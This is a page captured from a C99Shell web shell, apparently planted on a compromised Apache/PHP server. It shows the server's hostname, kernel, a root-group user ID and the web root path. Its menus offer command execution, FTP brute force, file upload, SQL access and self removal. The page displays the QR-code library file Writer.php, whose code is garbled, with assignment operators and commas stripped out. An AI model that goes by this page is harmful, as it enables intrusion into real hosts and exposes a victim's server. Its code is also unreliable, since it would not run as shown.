!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/bacon/bacon-qr-code/src/   drwxr-xr-x
Free 28.13 GB of 117.98 GB (23.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Writer.php (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode;

use 
BaconQrCode\Common\ErrorCorrectionLevel;
use 
BaconQrCode\Common\Version;
use 
BaconQrCode\Encoder\Encoder;
use 
BaconQrCode\Exception\InvalidArgumentException;
use 
BaconQrCode\Renderer\RendererInterface;

/**
 * QR code writer.
 */
final class Writer
{
    
/**
     * Renderer instance.
     *
     * @var RendererInterface
     */
    
private $renderer;

    
/**
     * Creates a new writer with a specific renderer.
     */
    
public function __construct(RendererInterface $renderer)
    {
        
$this->renderer $renderer;
    }

    
/**
     * Writes QR code and returns it as string.
     *
     * Content is a string which *should* be encoded in UTF-8, in case there are
     * non ASCII-characters present.
     *
     * @throws InvalidArgumentException if the content is empty
     */
    
public function writeString(
        
string $content,
        
string $encoding Encoder::DEFAULT_BYTE_MODE_ECODING,
        ?
ErrorCorrectionLevel $ecLevel null,
        ?
Version $forcedVersion null
    
) : string {
        if (
strlen($content) === 0) {
            throw new 
InvalidArgumentException('Found empty contents');
        }

        if (
null === $ecLevel) {
            
$ecLevel ErrorCorrectionLevel::L();
        }

        return 
$this->renderer->render(Encoder::encode($content$ecLevel$encoding$forcedVersion));
    }

    
/**
     * Writes QR code to a file.
     *
     * @see Writer::writeString()
     */
    
public function writeFile(
        
string $content,
        
string $filename,
        
string $encoding Encoder::DEFAULT_BYTE_MODE_ECODING,
        ?
ErrorCorrectionLevel $ecLevel null,
        ?
Version $forcedVersion null
    
) : void {
        
file_put_contents($filename$this->writeString($content$encoding$ecLevel$forcedVersion));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--